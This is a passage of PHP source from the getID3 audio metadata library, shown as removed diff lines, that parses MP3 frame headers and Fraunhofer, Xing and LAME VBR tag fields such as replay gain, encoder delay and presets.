$thisfile_mpeg_audio['private'] = (bool) $thisfile_mpeg_audio['raw']['private']; - $thisfile_mpeg_audio['modeextension'] = $MPEGaudioModeExtensionLookup[$thisfile_mpeg_audio['layer']][$thisfile_mpeg_audio['raw']['modeextension']]; - $thisfile_mpeg_audio['copyright'] = (bool) $thisfile_mpeg_audio['raw']['copyright']; - $thisfile_mpeg_audio['original'] = (bool) $thisfile_mpeg_audio['raw']['original']; - $thisfile_mpeg_audio['emphasis'] = $MPEGaudioEmphasisLookup[$thisfile_mpeg_audio['raw']['emphasis']]; - - $info['audio']['channels'] = $thisfile_mpeg_audio['channels']; - $info['audio']['sample_rate'] = $thisfile_mpeg_audio['sample_rate']; - - if ($thisfile_mpeg_audio['protection']) { - $thisfile_mpeg_audio['crc'] = getid3_lib::BigEndian2Int(substr($headerstring, 4, 2)); - } - } - - if ($thisfile_mpeg_audio['raw']['bitrate'] == 15) { - // http://www.hydrogenaudio.org/?act=ST&f=16&t=9682&st=0 - $this->warning('Invalid bitrate index (15), this is a known bug in free-format MP3s encoded by LAME v3.90 - 3.93.1'); - $thisfile_mpeg_audio['raw']['bitrate'] = 0; - } - $thisfile_mpeg_audio['padding'] = (bool) $thisfile_mpeg_audio['raw']['padding']; - $thisfile_mpeg_audio['bitrate'] = $MPEGaudioBitrateLookup[$thisfile_mpeg_audio['version']][$thisfile_mpeg_audio['layer']][$thisfile_mpeg_audio['raw']['bitrate']]; - - if (($thisfile_mpeg_audio['bitrate'] == 'free') && ($offset == $info['avdataoffset'])) { - // only skip multiple frame check if free-format bitstream found at beginning of file - // otherwise is quite possibly simply corrupted data - $recursivesearch = false; - } - - // For Layer 2 there are some combinations of bitrate and mode which are not allowed. - if (!$FastMPEGheaderScan && ($thisfile_mpeg_audio['layer'] == '2')) { - - $info['audio']['dataformat'] = 'mp2'; - switch ($thisfile_mpeg_audio['channelmode']) { - - case 'mono': - if (($thisfile_mpeg_audio['bitrate'] == 'free') || ($thisfile_mpeg_audio['bitrate'] <= 192000)) { - // these are ok - } else { - $this->error($thisfile_mpeg_audio['bitrate'].'kbps not allowed in Layer 2, '.$thisfile_mpeg_audio['channelmode'].'.'); - return false; - } - break; - - case 'stereo': - case 'joint stereo': - case 'dual channel': - if (($thisfile_mpeg_audio['bitrate'] == 'free') || ($thisfile_mpeg_audio['bitrate'] == 64000) || ($thisfile_mpeg_audio['bitrate'] >= 96000)) { - // these are ok - } else { - $this->error(intval(round($thisfile_mpeg_audio['bitrate'] / 1000)).'kbps not allowed in Layer 2, '.$thisfile_mpeg_audio['channelmode'].'.'); - return false; - } - break; - - } - - } - - - if ($info['audio']['sample_rate'] > 0) { - $thisfile_mpeg_audio['framelength'] = self::MPEGaudioFrameLength($thisfile_mpeg_audio['bitrate'], $thisfile_mpeg_audio['version'], $thisfile_mpeg_audio['layer'], (int) $thisfile_mpeg_audio['padding'], $info['audio']['sample_rate']); - } - - $nextframetestoffset = $offset + 1; - if ($thisfile_mpeg_audio['bitrate'] != 'free') { - - $info['audio']['bitrate'] = $thisfile_mpeg_audio['bitrate']; - - if (isset($thisfile_mpeg_audio['framelength'])) { - $nextframetestoffset = $offset + $thisfile_mpeg_audio['framelength']; - } else { - $this->error('Frame at offset('.$offset.') is has an invalid frame length.'); - return false; - } - - } - - $ExpectedNumberOfAudioBytes = 0; - - //////////////////////////////////////////////////////////////////////////////////// - // Variable-bitrate headers - - if (substr($headerstring, 4 + 32, 4) == 'VBRI') { - // Fraunhofer VBR header is hardcoded 'VBRI' at offset 0x24 (36) - // specs taken from http://minnie.tuhs.org/pipermail/mp3encoder/2001-January/001800.html - - $thisfile_mpeg_audio['bitrate_mode'] = 'vbr'; - $thisfile_mpeg_audio['VBR_method'] = 'Fraunhofer'; - $info['audio']['codec'] = 'Fraunhofer'; - - $SideInfoData = substr($headerstring, 4 + 2, 32); - - $FraunhoferVBROffset = 36; - - $thisfile_mpeg_audio['VBR_encoder_version'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 4, 2)); // VbriVersion - $thisfile_mpeg_audio['VBR_encoder_delay'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 6, 2)); // VbriDelay - $thisfile_mpeg_audio['VBR_quality'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 8, 2)); // VbriQuality - $thisfile_mpeg_audio['VBR_bytes'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 10, 4)); // VbriStreamBytes - $thisfile_mpeg_audio['VBR_frames'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 14, 4)); // VbriStreamFrames - $thisfile_mpeg_audio['VBR_seek_offsets'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 18, 2)); // VbriTableSize - $thisfile_mpeg_audio['VBR_seek_scale'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 20, 2)); // VbriTableScale - $thisfile_mpeg_audio['VBR_entry_bytes'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 22, 2)); // VbriEntryBytes - $thisfile_mpeg_audio['VBR_entry_frames'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 24, 2)); // VbriEntryFrames - - $ExpectedNumberOfAudioBytes = $thisfile_mpeg_audio['VBR_bytes']; - - $previousbyteoffset = $offset; - for ($i = 0; $i < $thisfile_mpeg_audio['VBR_seek_offsets']; $i++) { - $Fraunhofer_OffsetN = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset, $thisfile_mpeg_audio['VBR_entry_bytes'])); - $FraunhoferVBROffset += $thisfile_mpeg_audio['VBR_entry_bytes']; - $thisfile_mpeg_audio['VBR_offsets_relative'][$i] = ($Fraunhofer_OffsetN * $thisfile_mpeg_audio['VBR_seek_scale']); - $thisfile_mpeg_audio['VBR_offsets_absolute'][$i] = ($Fraunhofer_OffsetN * $thisfile_mpeg_audio['VBR_seek_scale']) + $previousbyteoffset; - $previousbyteoffset += $Fraunhofer_OffsetN; - } - - - } else { - - // Xing VBR header is hardcoded 'Xing' at a offset 0x0D (13), 0x15 (21) or 0x24 (36) - // depending on MPEG layer and number of channels - - $VBRidOffset = self::XingVBRidOffset($thisfile_mpeg_audio['version'], $thisfile_mpeg_audio['channelmode']); - $SideInfoData = substr($headerstring, 4 + 2, $VBRidOffset - 4); - - if ((substr($headerstring, $VBRidOffset, strlen('Xing')) == 'Xing') || (substr($headerstring, $VBRidOffset, strlen('Info')) == 'Info')) { - // 'Xing' is traditional Xing VBR frame - // 'Info' is LAME-encoded CBR (This was done to avoid CBR files to be recognized as traditional Xing VBR files by some decoders.) - // 'Info' *can* legally be used to specify a VBR file as well, however. - - // http://www.multiweb.cz/twoinches/MP3inside.htm - //00..03 = "Xing" or "Info" - //04..07 = Flags: - // 0x01 Frames Flag set if value for number of frames in file is stored - // 0x02 Bytes Flag set if value for filesize in bytes is stored - // 0x04 TOC Flag set if values for TOC are stored - // 0x08 VBR Scale Flag set if values for VBR scale is stored - //08..11 Frames: Number of frames in file (including the first Xing/Info one) - //12..15 Bytes: File length in Bytes - //16..115 TOC (Table of Contents): - // Contains of 100 indexes (one Byte length) for easier lookup in file. Approximately solves problem with moving inside file. - // Each Byte has a value according this formula: - // (TOC[i] / 256) * fileLenInBytes - // So if song lasts eg. 240 sec. and you want to jump to 60. sec. (and file is 5 000 000 Bytes length) you can use: - // TOC[(60/240)*100] = TOC[25] - // and corresponding Byte in file is then approximately at: - // (TOC[25]/256) * 5000000 - //116..119 VBR Scale - - - // should be safe to leave this at 'vbr' and let it be overriden to 'cbr' if a CBR preset/mode is used by LAME -// if (substr($headerstring, $VBRidOffset, strlen('Info')) == 'Xing') { - $thisfile_mpeg_audio['bitrate_mode'] = 'vbr'; - $thisfile_mpeg_audio['VBR_method'] = 'Xing'; -// } else { -// $ScanAsCBR = true; -// $thisfile_mpeg_audio['bitrate_mode'] = 'cbr'; -// } - - $thisfile_mpeg_audio['xing_flags_raw'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 4, 4)); - - $thisfile_mpeg_audio['xing_flags']['frames'] = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000001); - $thisfile_mpeg_audio['xing_flags']['bytes'] = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000002); - $thisfile_mpeg_audio['xing_flags']['toc'] = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000004); - $thisfile_mpeg_audio['xing_flags']['vbr_scale'] = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000008); - - if ($thisfile_mpeg_audio['xing_flags']['frames']) { - $thisfile_mpeg_audio['VBR_frames'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 8, 4)); - //$thisfile_mpeg_audio['VBR_frames']--; // don't count header Xing/Info frame - } - if ($thisfile_mpeg_audio['xing_flags']['bytes']) { - $thisfile_mpeg_audio['VBR_bytes'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 12, 4)); - } - - //if (($thisfile_mpeg_audio['bitrate'] == 'free') && !empty($thisfile_mpeg_audio['VBR_frames']) && !empty($thisfile_mpeg_audio['VBR_bytes'])) { - //if (!empty($thisfile_mpeg_audio['VBR_frames']) && !empty($thisfile_mpeg_audio['VBR_bytes'])) { - if (!empty($thisfile_mpeg_audio['VBR_frames'])) { - $used_filesize = 0; - if (!empty($thisfile_mpeg_audio['VBR_bytes'])) { - $used_filesize = $thisfile_mpeg_audio['VBR_bytes']; - } elseif (!empty($info['filesize'])) { - $used_filesize = $info['filesize']; - $used_filesize -= (isset($info['id3v2']['headerlength']) ? intval($info['id3v2']['headerlength']) : 0); - $used_filesize -= (isset($info['id3v1']) ? 128 : 0); - $used_filesize -= (isset($info['tag_offset_end']) ? $info['tag_offset_end'] - $info['tag_offset_start'] : 0); - $this->warning('MP3.Xing header missing VBR_bytes, assuming MPEG audio portion of file is '.number_format($used_filesize).' bytes'); - } - - $framelengthfloat = $used_filesize / $thisfile_mpeg_audio['VBR_frames']; - - if ($thisfile_mpeg_audio['layer'] == '1') { - // BitRate = (((FrameLengthInBytes / 4) - Padding) * SampleRate) / 12 - //$info['audio']['bitrate'] = ((($framelengthfloat / 4) - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 12; - $info['audio']['bitrate'] = ($framelengthfloat / 4) * $thisfile_mpeg_audio['sample_rate'] * (2 / $info['audio']['channels']) / 12; - } else { - // Bitrate = ((FrameLengthInBytes - Padding) * SampleRate) / 144 - //$info['audio']['bitrate'] = (($framelengthfloat - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 144; - $info['audio']['bitrate'] = $framelengthfloat * $thisfile_mpeg_audio['sample_rate'] * (2 / $info['audio']['channels']) / 144; - } - $thisfile_mpeg_audio['framelength'] = floor($framelengthfloat); - } - - if ($thisfile_mpeg_audio['xing_flags']['toc']) { - $LAMEtocData = substr($headerstring, $VBRidOffset + 16, 100); - for ($i = 0; $i < 100; $i++) { - $thisfile_mpeg_audio['toc'][$i] = ord($LAMEtocData[$i]); - } - } - if ($thisfile_mpeg_audio['xing_flags']['vbr_scale']) { - $thisfile_mpeg_audio['VBR_scale'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 116, 4)); - } - - - // http://gabriel.mp3-tech.org/mp3infotag.html - if (substr($headerstring, $VBRidOffset + 120, 4) == 'LAME') { - - // shortcut - $thisfile_mpeg_audio['LAME'] = array(); - $thisfile_mpeg_audio_lame = &$thisfile_mpeg_audio['LAME']; - - - $thisfile_mpeg_audio_lame['long_version'] = substr($headerstring, $VBRidOffset + 120, 20); - $thisfile_mpeg_audio_lame['short_version'] = substr($thisfile_mpeg_audio_lame['long_version'], 0, 9); - - //$thisfile_mpeg_audio_lame['numeric_version'] = str_replace('LAME', '', $thisfile_mpeg_audio_lame['short_version']); - $thisfile_mpeg_audio_lame['numeric_version'] = ''; - if (preg_match('#^LAME([0-9\\.a-z]*)#', $thisfile_mpeg_audio_lame['long_version'], $matches)) { - $thisfile_mpeg_audio_lame['short_version'] = $matches[0]; - $thisfile_mpeg_audio_lame['numeric_version'] = $matches[1]; - } - if (strlen($thisfile_mpeg_audio_lame['numeric_version']) > 0) { - foreach (explode('.', $thisfile_mpeg_audio_lame['numeric_version']) as $key => $number) { - $thisfile_mpeg_audio_lame['integer_version'][$key] = intval($number); - } - //if ($thisfile_mpeg_audio_lame['short_version'] >= 'LAME3.90') { - if ((($thisfile_mpeg_audio_lame['integer_version'][0] * 1000) + $thisfile_mpeg_audio_lame['integer_version'][1]) >= 3090) { // cannot use string version compare, may have "LAME3.90" or "LAME3.100" -- see https://github.com/JamesHeinrich/getID3/issues/207 - - // extra 11 chars are not part of version string when LAMEtag present - unset($thisfile_mpeg_audio_lame['long_version']); - - // It the LAME tag was only introduced in LAME v3.90 - // http://www.hydrogenaudio.org/?act=ST&f=15&t=9933 - - // Offsets of various bytes in http://gabriel.mp3-tech.org/mp3infotag.html - // are assuming a 'Xing' identifier offset of 0x24, which is the case for - // MPEG-1 non-mono, but not for other combinations - $LAMEtagOffsetContant = $VBRidOffset - 0x24; - - // shortcuts - $thisfile_mpeg_audio_lame['RGAD'] = array('track'=>array(), 'album'=>array()); - $thisfile_mpeg_audio_lame_RGAD = &$thisfile_mpeg_audio_lame['RGAD']; - $thisfile_mpeg_audio_lame_RGAD_track = &$thisfile_mpeg_audio_lame_RGAD['track']; - $thisfile_mpeg_audio_lame_RGAD_album = &$thisfile_mpeg_audio_lame_RGAD['album']; - $thisfile_mpeg_audio_lame['raw'] = array(); - $thisfile_mpeg_audio_lame_raw = &$thisfile_mpeg_audio_lame['raw']; - - // byte $9B VBR Quality - // This field is there to indicate a quality level, although the scale was not precised in the original Xing specifications. - // Actually overwrites original Xing bytes - unset($thisfile_mpeg_audio['VBR_scale']); - $thisfile_mpeg_audio_lame['vbr_quality'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0x9B, 1)); - - // bytes $9C-$A4 Encoder short VersionString - $thisfile_mpeg_audio_lame['short_version'] = substr($headerstring, $LAMEtagOffsetContant + 0x9C, 9); - - // byte $A5 Info Tag revision + VBR method - $LAMEtagRevisionVBRmethod = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xA5, 1)); - - $thisfile_mpeg_audio_lame['tag_revision'] = ($LAMEtagRevisionVBRmethod & 0xF0) >> 4; - $thisfile_mpeg_audio_lame_raw['vbr_method'] = $LAMEtagRevisionVBRmethod & 0x0F; - $thisfile_mpeg_audio_lame['vbr_method'] = self::LAMEvbrMethodLookup($thisfile_mpeg_audio_lame_raw['vbr_method']); - $thisfile_mpeg_audio['bitrate_mode'] = substr($thisfile_mpeg_audio_lame['vbr_method'], 0, 3); // usually either 'cbr' or 'vbr', but truncates 'vbr-old / vbr-rh' to 'vbr' - - // byte $A6 Lowpass filter value - $thisfile_mpeg_audio_lame['lowpass_frequency'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xA6, 1)) * 100; - - // bytes $A7-$AE Replay Gain - // http://privatewww.essex.ac.uk/~djmrob/replaygain/rg_data_format.html - // bytes $A7-$AA : 32 bit floating point "Peak signal amplitude" - if ($thisfile_mpeg_audio_lame['short_version'] >= 'LAME3.94b') { - // LAME 3.94a16 and later - 9.23 fixed point - // ie 0x0059E2EE / (2^23) = 5890798 / 8388608 = 0.7022378444671630859375 - $thisfile_mpeg_audio_lame_RGAD['peak_amplitude'] = (float) ((getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xA7, 4))) / 8388608); - } else { - // LAME 3.94a15 and earlier - 32-bit floating point - // Actually 3.94a16 will fall in here too and be WRONG, but is hard to detect 3.94a16 vs 3.94a15 - $thisfile_mpeg_audio_lame_RGAD['peak_amplitude'] = getid3_lib::LittleEndian2Float(substr($headerstring, $LAMEtagOffsetContant + 0xA7, 4)); - } - if ($thisfile_mpeg_audio_lame_RGAD['peak_amplitude'] == 0) { - unset($thisfile_mpeg_audio_lame_RGAD['peak_amplitude']); - } else { - $thisfile_mpeg_audio_lame_RGAD['peak_db'] = getid3_lib::RGADamplitude2dB($thisfile_mpeg_audio_lame_RGAD['peak_amplitude']); - } - - $thisfile_mpeg_audio_lame_raw['RGAD_track'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xAB, 2)); - $thisfile_mpeg_audio_lame_raw['RGAD_album'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xAD, 2)); - - - if ($thisfile_mpeg_audio_lame_raw['RGAD_track'] != 0) { - - $thisfile_mpeg_audio_lame_RGAD_track['raw']['name'] = ($thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0xE000) >> 13; - $thisfile_mpeg_audio_lame_RGAD_track['raw']['originator'] = ($thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0x1C00) >> 10; - $thisfile_mpeg_audio_lame_RGAD_track['raw']['sign_bit'] = ($thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0x0200) >> 9; - $thisfile_mpeg_audio_lame_RGAD_track['raw']['gain_adjust'] = $thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0x01FF; - $thisfile_mpeg_audio_lame_RGAD_track['name'] = getid3_lib::RGADnameLookup($thisfile_mpeg_audio_lame_RGAD_track['raw']['name']); - $thisfile_mpeg_audio_lame_RGAD_track['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_mpeg_audio_lame_RGAD_track['raw']['originator']); - $thisfile_mpeg_audio_lame_RGAD_track['gain_db'] = getid3_lib::RGADadjustmentLookup($thisfile_mpeg_audio_lame_RGAD_track['raw']['gain_adjust'], $thisfile_mpeg_audio_lame_RGAD_track['raw']['sign_bit']); - - if (!empty($thisfile_mpeg_audio_lame_RGAD['peak_amplitude'])) { - $info['replay_gain']['track']['peak'] = $thisfile_mpeg_audio_lame_RGAD['peak_amplitude']; - } - $info['replay_gain']['track']['originator'] = $thisfile_mpeg_audio_lame_RGAD_track['originator']; - $info['replay_gain']['track']['adjustment'] = $thisfile_mpeg_audio_lame_RGAD_track['gain_db']; - } else { - unset($thisfile_mpeg_audio_lame_RGAD['track']); - } - if ($thisfile_mpeg_audio_lame_raw['RGAD_album'] != 0) { - - $thisfile_mpeg_audio_lame_RGAD_album['raw']['name'] = ($thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0xE000) >> 13; - $thisfile_mpeg_audio_lame_RGAD_album['raw']['originator'] = ($thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0x1C00) >> 10; - $thisfile_mpeg_audio_lame_RGAD_album['raw']['sign_bit'] = ($thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0x0200) >> 9; - $thisfile_mpeg_audio_lame_RGAD_album['raw']['gain_adjust'] = $thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0x01FF; - $thisfile_mpeg_audio_lame_RGAD_album['name'] = getid3_lib::RGADnameLookup($thisfile_mpeg_audio_lame_RGAD_album['raw']['name']); - $thisfile_mpeg_audio_lame_RGAD_album['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_mpeg_audio_lame_RGAD_album['raw']['originator']); - $thisfile_mpeg_audio_lame_RGAD_album['gain_db'] = getid3_lib::RGADadjustmentLookup($thisfile_mpeg_audio_lame_RGAD_album['raw']['gain_adjust'], $thisfile_mpeg_audio_lame_RGAD_album['raw']['sign_bit']); - - if (!empty($thisfile_mpeg_audio_lame_RGAD['peak_amplitude'])) { - $info['replay_gain']['album']['peak'] = $thisfile_mpeg_audio_lame_RGAD['peak_amplitude']; - } - $info['replay_gain']['album']['originator'] = $thisfile_mpeg_audio_lame_RGAD_album['originator']; - $info['replay_gain']['album']['adjustment'] = $thisfile_mpeg_audio_lame_RGAD_album['gain_db']; - } else { - unset($thisfile_mpeg_audio_lame_RGAD['album']); - } - if (empty($thisfile_mpeg_audio_lame_RGAD)) { - unset($thisfile_mpeg_audio_lame['RGAD']); - } - - - // byte $AF Encoding flags + ATH Type - $EncodingFlagsATHtype = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xAF, 1)); - $thisfile_mpeg_audio_lame['encoding_flags']['nspsytune'] = (bool) ($EncodingFlagsATHtype & 0x10); - $thisfile_mpeg_audio_lame['encoding_flags']['nssafejoint'] = (bool) ($EncodingFlagsATHtype & 0x20); - $thisfile_mpeg_audio_lame['encoding_flags']['nogap_next'] = (bool) ($EncodingFlagsATHtype & 0x40); - $thisfile_mpeg_audio_lame['encoding_flags']['nogap_prev'] = (bool) ($EncodingFlagsATHtype & 0x80); - $thisfile_mpeg_audio_lame['ath_type'] = $EncodingFlagsATHtype & 0x0F; - - // byte $B0 if ABR {specified bitrate} else {minimal bitrate} - $thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB0, 1)); - if ($thisfile_mpeg_audio_lame_raw['vbr_method'] == 2) { // Average BitRate (ABR) - $thisfile_mpeg_audio_lame['bitrate_abr'] = $thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate']; - } elseif ($thisfile_mpeg_audio_lame_raw['vbr_method'] == 1) { // Constant BitRate (CBR) - // ignore - } elseif ($thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'] > 0) { // Variable BitRate (VBR) - minimum bitrate - $thisfile_mpeg_audio_lame['bitrate_min'] = $thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate']; - } - - // bytes $B1-$B3 Encoder delays - $EncoderDelays = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB1, 3)); - $thisfile_mpeg_audio_lame['encoder_delay'] = ($EncoderDelays & 0xFFF000) >> 12; - $thisfile_mpeg_audio_lame['end_padding'] = $EncoderDelays & 0x000FFF; - - // byte $B4 Misc - $MiscByte = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB4, 1)); - $thisfile_mpeg_audio_lame_raw['noise_shaping'] = ($MiscByte & 0x03); - $thisfile_mpeg_audio_lame_raw['stereo_mode'] = ($MiscByte & 0x1C) >> 2; - $thisfile_mpeg_audio_lame_raw['not_optimal_quality'] = ($MiscByte & 0x20) >> 5; - $thisfile_mpeg_audio_lame_raw['source_sample_freq'] = ($MiscByte & 0xC0) >> 6; - $thisfile_mpeg_audio_lame['noise_shaping'] = $thisfile_mpeg_audio_lame_raw['noise_shaping']; - $thisfile_mpeg_audio_lame['stereo_mode'] = self::LAMEmiscStereoModeLookup($thisfile_mpeg_audio_lame_raw['stereo_mode']); - $thisfile_mpeg_audio_lame['not_optimal_quality'] = (bool) $thisfile_mpeg_audio_lame_raw['not_optimal_quality']; - $thisfile_mpeg_audio_lame['source_sample_freq'] = self::LAMEmiscSourceSampleFrequencyLookup($thisfile_mpeg_audio_lame_raw['source_sample_freq']); - - // byte $B5 MP3 Gain - $thisfile_mpeg_audio_lame_raw['mp3_gain'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB5, 1), false, true); - $thisfile_mpeg_audio_lame['mp3_gain_db'] = (getid3_lib::RGADamplitude2dB(2) / 4) * $thisfile_mpeg_audio_lame_raw['mp3_gain']; - $thisfile_mpeg_audio_lame['mp3_gain_factor'] = pow(2, ($thisfile_mpeg_audio_lame['mp3_gain_db'] / 6)); - - // bytes $B6-$B7 Preset and surround info - $PresetSurroundBytes = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB6, 2)); - // Reserved = ($PresetSurroundBytes & 0xC000); - $thisfile_mpeg_audio_lame_raw['surround_info'] = ($PresetSurroundBytes & 0x3800); - $thisfile_mpeg_audio_lame['surround_info'] = self::LAMEsurroundInfoLookup($thisfile_mpeg_audio_lame_raw['surround_info']); - $thisfile_mpeg_audio_lame['preset_used_id'] = ($PresetSurroundBytes & 0x07FF); - $thisfile_mpeg_audio_lame['preset_used'] = self::LAMEpresetUsedLookup($thisfile_mpeg_audio_lame); - if (!empty($thisfile_mpeg_audio_lame['preset_used_id']) && empty($thisfile_mpeg_audio_lame['preset_used'])) { - $this->warning('Unknown LAME preset used ('.$thisfile_mpeg_audio_lame['preset_used_id'].') - please report to info@getid3.org'); - } - if (($thisfile_mpeg_audio_lame['short_version'] == 'LAME3.90.') && !empty($thisfile_mpeg_audio_lame['preset_used_id'])) { - // this may change if 3.90.4 ever comes out - $thisfile_mpeg_audio_lame['short_version'] = 'LAME3.90.3'; - } - - // bytes $B8-$BB MusicLength - $thisfile_mpeg_audio_lame['audio_bytes'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB8, 4)); - $ExpectedNumberOfAudioBytes = (($thisfile_mpeg_audio_lame['audio_bytes'] > 0) ? $thisfile_mpeg_audio_lame['audio_bytes'] : $thisfile_mpeg_audio['VBR_bytes']); - - // bytes $BC-$BD MusicCRC - $thisfile_mpeg_audio_lame['music_crc'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xBC, 2)); - - // bytes $BE-$BF CRC-16 of Info Tag - $thisfile_mpeg_audio_lame['lame_tag_crc'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xBE, 2)); - - - // LAME CBR - if ($thisfile_mpeg_audio_lame_raw['vbr_method'] == 1) { - - $thisfile_mpeg_audio['bitrate_mode'] = 'cbr'; - $thisfile_mpeg_audio['bitrate'] = self::ClosestStandardMP3Bitrate($thisfile_mpeg_audio['bitrate']); - $info['audio']['bitrate'] = $thisfile_mpeg_audio['bitrate']; - //if (empty($thisfile_mpeg_audio['bitrate']) || (!empty($thisfile_mpeg_audio_lame['bitrate_min']) && ($thisfile_mpeg_audio_lame['bitrate_min'] != 255))) { - // $thisfile_mpeg_audio['bitrate'] = $thisfile_mpeg_audio_lame['bitrate_min']; - //} - - } - - } - } - } - - } else { - - // not Fraunhofer or Xing VBR methods, most likely CBR (but could be VBR with no header) - $thisfile_mpeg_audio['bitrate_mode'] = 'cbr'; - if ($recursivesearch) { - $thisfile_mpeg_audio['bitrate_mode'] = 'vbr'; - if ($this->RecursiveFrameScanning($offset, $nextframetestoffset, true)) { - $recursivesearch = false; - $thisfile_mpeg_audio['bitrate_mode'] = 'cbr'; - } - if ($thisfile_mpeg_audio['bitrate_mode'] == 'vbr') { - $this->warning('VBR file with no VBR header. Bitrate values calculated from actual frame bitrates.'); - } - } - - } - - } - - if (($ExpectedNumberOfAudioBytes > 0) && ($ExpectedNumberOfAudioBytes != ($info['avdataend'] - $info['avdataoffset']))) { - if ($ExpectedNumberOfAudioBytes > ($info['avdataend'] - $info['avdataoffset'])) { - if ($this->isDependencyFor('matroska') || $this->isDependencyFor('riff')) { - // ignore, audio data is broken into chunks so will always be data "missing" - } - elseif (($ExpectedNumberOfAudioBytes - ($info['avdataend'] - $info['avdataoffset'])) == 1) { - $this->warning('Last byte of data truncated (this is a known bug in Meracl ID3 Tag Writer before v1.3.5)'); - } - else { - $this->warning('Probable truncated file: expecting '.$ExpectedNumberOfAudioBytes.' bytes of audio data, only found '.($info['avdataend'] - $info['avdataoffset']).' (short by '.($ExpectedNumberOfAudioBytes - ($info['avdataend'] - $info['avdataoffset'])).' bytes)'); - } - } else { - if ((($info['avdataend'] - $info['avdataoffset']) - $ExpectedNumberOfAudioBytes) == 1) { - // $prenullbytefileoffset = $this->ftell(); - // $this->fseek($info['avdataend']); - // $PossibleNullByte = $this->fread(1); - // $this->fseek($prenullbytefileoffset); - // if ($PossibleNullByte === "\x00") { - $info['avdataend']--; - // $this->warning('Extra null byte at end of MP3 data assumed to be RIFF padding and therefore ignored'); - // } else { - // $this->warning('Too much data in file: expecting '.$ExpectedNumberOfAudioBytes.' bytes of audio data, found '.($info['avdataend'] - $info['avdataoffset']).' ('.(($info['avdataend'] - $info['avdataoffset']) - $ExpectedNumberOfAudioBytes).' bytes too many)'); - // } - } else { - $this->warning('Too much data in file: expecting '.$ExpectedNumberOfAudioBytes.' bytes of audio data, found '.($info['avdataend'] - $info['avdataoffset']).' ('.(($info['avdataend'] - $info['avdataoffset']) - $ExpectedNumberOfAudioBytes).' bytes too many)'); - } - } - } - - if (($thisfile_mpeg_audio['bitrate'] == 'free') && empty($info['audio']['bitrate'])) { - if (($offset == $info['avdataoffset']) && empty($thisfile_mpeg_audio['VBR_frames'])) { - $framebytelength = $this->FreeFormatFrameLength($offset, true); - if ($framebytelength > 0) { - $thisfile_mpeg_audio['framelength'] = $framebytelength; - if ($thisfile_mpeg_audio['layer'] == '1') { - // BitRate = (((FrameLengthInBytes / 4) - Padding) * SampleRate) / 12 - $info['audio']['bitrate'] = ((($framebytelength / 4) - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 12; - } else { - // Bitrate = ((FrameLengthInBytes - Padding) * SampleRate) / 144 - $info['audio']['bitrate'] = (($framebytelength - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 144; - } - } else { - $this->error('Error calculating frame length of free-format MP3 without Xing/LAME header'); - } - } - } - - if (isset($thisfile_mpeg_audio['VBR_frames']) ? $thisfile_mpeg_audio['VBR_frames'] : '') { - switch ($thisfile_mpeg_audio['bitrate_mode']) { - case 'vbr': - case 'abr': - $bytes_per_frame = 1152; - if (($thisfile_mpeg_audio['version'] == '1') && ($thisfile_mpeg_audio['layer'] == 1)) { - $bytes_per_frame = 384; - } elseif 